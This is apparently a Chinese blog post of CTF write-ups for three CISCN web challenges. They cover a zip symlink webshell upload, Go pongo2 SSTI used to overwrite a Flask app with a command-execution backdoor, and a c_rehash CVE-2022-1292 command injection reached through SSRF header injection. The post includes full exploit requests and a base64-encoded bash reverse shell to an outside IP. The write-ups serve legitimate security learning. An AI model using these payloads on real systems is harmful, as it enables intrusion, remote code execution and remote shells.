因为XY整体持续时间太长了,而且后面出的题目也越来越不做人。于是我就想着还是刷刷NSS学习学习吧。

Unzip(ciscn)

这道题目的主要学到的是关于软连接的知识。
我先贴几篇文章
https://www.cnblogs.com/crazylqy/p/5821105.html
https://www.cnblogs.com/sueyyyy/p/10985443.html
这篇文章讲的是软链接

前置知识

软连接的概念

软链接其实就是相当于windows的快捷方式
而快捷方式其实就是一个指向对应路径或文件的一种文件,也就是说即使快捷方式在不同的电脑上只要路径存在其就会指向那个路径,软链接同理

软链接创造指令

1
2
3
4
软链接
ln -s source target
硬链接
ln source target

解题

看道这题是文件上传那么我们可以很自然的想到上传一个一句话木马文件。但是我们通过扫后台看到的源码,可以看到其文件上传的位置在/tmp目录下

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
highlight_file(__FILE__);

$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
//only this!

我们可以看到其在/tmp目录在解压了我们上传的压缩包。并且其可以进行文件覆盖,那么我们就可以尝试使用软链接
我们先创造一个指向/var/www/html文件夹的软链接。

再通过下面的指令将软链接进行压缩
1
zip --symlinks test.zip ./test

然后上传我们的软链接压缩包。
这时候/tmp下就会存再一个指向web目录的一个软链接。
那么我们要怎么传马呢?
很简单我们只要上传一个和软链接文件夹同名的文件夹即可。当进行文件覆盖时会通过软链接将文件夹内的文件覆盖到软链接所指向的文件夹。
那么我们创建一个test文件夹在文件夹下写入一个一句话木马。压缩后上传这样shell文件就上传到了web页面下。

软链接的其他小技巧

如果一个网页可以将上传的文件的内容进行输出,那么这时候我们就可以使用软链接尝试指向一些命令和文件尝试进行命令穿越。

[CISCN 2023 初赛]go_session

哈哈这篇文章可是让我狠狠的学习了一下go语言的ssti。
我们先对源码进行审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package route

import (
"html"
"io"
"net/http"
"os"

"github.com/flosch/pongo2/v6"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
)

var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "admin"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, guest")
}

func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}

func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)

c.String(200, string(body))
}

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package main

import (
"github.com/gin-gonic/gin"
"main/route"
)

func main() {
r := gin.Default()
r.GET("/", route.Index)
r.GET("/admin", route.Admin)
r.GET("/flask", route.Flask)
r.Run("0.0.0.0:80")
}

我们先看mian文件会发现其几个路由。我们查看route的源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))

func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}

c.String(200, "Hello, guest")
}

这个路由主要是设置session,如果name为空设置为guest。我第一言就感觉是session伪造,都思考起有什么漏洞可以从环境变量中得到SESSION_KEY了,结果看一下wp发现key是空的。感觉这个地方出的有点不好,我们将源码中的guest改成admin再在本地运行,由于key是空所有在本地得到的admin的session和题目admin的session一样。得到admin的session我们就可以访问/admin路由了我们看一下其他路由的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}

我们看admin函数会发现

1
2
3
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
out, err := tpl.Execute(pongo2.Context{"c": c})

可以发现其直接将pongo2.FromString解析出的对象c输出到了模板中那么就存在ssti注入
我们再看一下flask路由
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)

c.String(200, string(body))

可以看出来存在ssrf会将传值的name和http://127.0.0.1:5000/拼接访问内网资产。我们先查看flask路由指向的内网网站是什么

我们可以发现其返回了127.0.0.1:5000的源码我们使用html文件来查看

思路

会发现报错使得程序的源码和路径泄露了。并且我们可以看到其开启了debug,即我们修改了源码网页也会快速更新,那么我们就可以尝试使用admin界面的ssti来执行文件上传函数,来上传一个shell覆盖这个文件,使得我们可以进行命令执行。

ssti

我们会发现导入了gin包那么我们就可以使用gin包的函数。

函数

1
2
3
4
5
c.SaveUploadedFile(file *multipart.FileHeader, dst string)
//file:multipart.FileHeader 类型的指针,代表上传文件的文件头信息,可以通过 c.FormFile("file") 获取。[这个file其实就是form表单中的name属性的值]
//dst:字符串类型,代表文件保存的目标路径。
c.Request//获取http的信息可以使用如下格式来获取请求头的内容
c.Request.Referer//像这样就可以得到Referer的内容

正常我们执行文件上传的ssti的payload应该是下面这个

1
c.SaveUploadedFile(c.FormFile('file'),"/app/server.py")

但是由于改题目有如下的过滤导致其特殊字符被编码使得无法进行ssti
1
html.EscapeString(name)

这时候我们可以尝试使用c.Request来代替需要用到特殊符号的字符,以此来绕过waf
那么payload就如下
1
admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.Referer())}}

接下来就只要构建一个文件上传的form表单进行文件上传即可
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.Referer())}} HTTP/1.1
Host: node5.anna.nssctf.cn:28535
Referer: /app/server.py
Content-Length: 522
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuMHzDNELmEQClC8i
User-Agent: file
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session-name=MTcxMzMyMjg4M3xEWDhFQVFMX2dBQUJFQUVRQUFBal80QUFBUVp6ZEhKcGJtY01CZ0FFYm1GdFpRWnpkSEpwYm1jTUJ3QUZZV1J0YVc0PXy1hS6mhHShqW9AhRhAbwm8TPUeR5aus6EAENV_jfwn1w==
Connection: close

------WebKitFormBoundaryuMHzDNELmEQClC8i
Content-Disposition: form-data; name="file"; filename="py.py"
Content-Type: text/x-python

from flask import *
import os
app = Flask(__name__)


@app.route('/')
def index():
name = request.args['name']
return os.popen(name).read()


if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)
------WebKitFormBoundaryuMHzDNELmEQClC8i
Content-Disposition: form-data; name="submit"

鎻愪氦
------WebKitFormBoundaryuMHzDNELmEQClC8i--

将UA头和Referer的内容分别进行替换即可成功上传文件内容
之后就命令执行了,环境变量里存在flag
1
http://node5.anna.nssctf.cn:28956/flask?name=%3fname=env

[CISCN 2022 初赛]online_crt

这道题目我们打开是一个证书打印的网站.我们先查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
root_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
x509.NameAttribute(NameOID.LOCALITY_NAME, City),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
])
root_cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
root_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow()
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=3650)
).sign(root_key, hashes.SHA256(), default_backend())
crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
with open(crt_name, "wb") as f:
f.write(root_cert.public_bytes(serialization.Encoding.PEM))
return crt_name


@app.route('/', methods=['GET', 'POST'])
def index():
return render_template("index.html")


@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
Country = request.form.get("Country", "CN")
Province = request.form.get("Province", "a")
City = request.form.get("City", "a")
OrganizationalName = request.form.get("OrganizationalName", "a")
CommonName = request.form.get("CommonName", "a")
EmailAddress = request.form.get("EmailAddress", "a")
return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)


@app.route('/createlink', methods=['GET'])
def info():
json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
return json.dumps(json_data)


@app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
client.connect(('localhost', 8887))
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()

app.run(host="0.0.0.0", port=8888)


我们先查看器定义的几个路由.
/getcrt这个路由是用于创建一个证书的路由
/createlink 这个路由运用了c_rehash命令
1
os.popen("c_rehash static/crt/ && ls static/crt/").read()

这个popen函数给人一种可以命令执行的样子.但是没有参数的入口唯一可看的就是证书的名字.我们查一下c_rehash会发现其存在漏洞
CVE-2022-1292的分析
查看文章会发现当执行这个命令时如果证书文件名中包含`会进行命令执行.那么我们只要能找到方法修改文件名即可进行命令执行. 我们看道最后一个路由发现其可以访问内网. 我们看一下内网的go语言源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package main

import (
"github.com/gin-gonic/gin"
"os"
"strings"
)

func admin(c *gin.Context) {
staticPath := "/app/static/crt/"
oldname := c.DefaultQuery("oldname", "")
newname := c.DefaultQuery("newname", "")
if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
c.String(500, "error")
return
}
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
}
c.String(200, "no")
}

func index(c *gin.Context) {
c.String(200, "hello world")
}

func main() {
router := gin.Default()
router.GET("/", index)
router.GET("/admin/rename", admin)

if err := router.Run(":8887"); err != nil {
panic(err)
}
}
我们发现其/admin/rename路由是文件名修改的路由,那么思路一下子就清晰了。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func admin(c *gin.Context) {
staticPath := "/app/static/crt/"
oldname := c.DefaultQuery("oldname", "")
newname := c.DefaultQuery("newname", "")
if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
c.String(500, "error")
return
}
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
}
c.String(200, "no")
}
但是我们会看到想要修改文件的名字需要先绕过这两个
1
c.Request.URL.RawPath != "" && c.Request.Host == "admin" 
首先是前一个,其是获取原始的url在官方文档里写了,当请求的url路径中存在url字符时会获取到url,但是不含有url字符时就有可能获取到空。即我们可以通过将其中一个/两层url编码使其传到后端时被一次urldecode后仍然为url编码字符。 而第二个我们可以将报文当成参数传入。 如在http报文中换行符为
\r\n`那么我们将其url编码后传入后就会被解析为换行符
我先举个http报文的例子
1
2
3
4
GET /proxy HTTP/1.1\r\nHost: node4.anna.nssctf.cn:28745
等于
GET /proxy HTTP/1.1
Host: node4.anna.nssctf.cn:28745

那么我们就可以通过构造uri来使的Host被获取为admin代码如下
1
uri=xxxxxxx%20HTTP/1.1%0D%0AHost:admin%0D%0A%0D%0A

末尾需要两个换行符才可以请求成功。这是http的报文格式要求的,我们可以在bp里查看换行符的位置来了解
既然绕过了我们就开始尝试构造执行的命令
第一思路自然是弹个shell了。由于没有过滤我就直接尝试使用bash反弹代码如下
1
newname=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTExLjIzMC4zOC4xNTkvNzc3NyAwPiYx|base64 --decode|bash`.crt

但是这个是我们要进行二次传参的参数,由于空格这种分隔符在get传值的时候必须进行url编码所以我们需要对参数空格进行二次编码,不然会报错
将上面的几种整合在一起,并将特殊字符进行一次url编码得到下面的内容,当然其实只要将&空格换行符这种特殊的分隔符进行urldecode就可以了。在会进行二次传参的地方进行两次url编码,即可。
1
uri=/admin%252Frename%3Foldname%3D53753e06-b537-4d1e-af1f-6225747dd3ae.crt%26newname=%60echo%2520c2ggLWkgPiYgL2Rldi90Y3AvMTExLjIzMC4zOC4xNTkvNzc3NyAwPiYx%7Cbase64%2520--decode%7Cbash%60.crt%20HTTP/1.1%0D%0AHost:admin%0D%0A%0D%0A

由于代码获取uri的获取form的uri即在post传参的uri但是由于这个路由只能处理GET传参所以我们需要将报文中的POST改为GET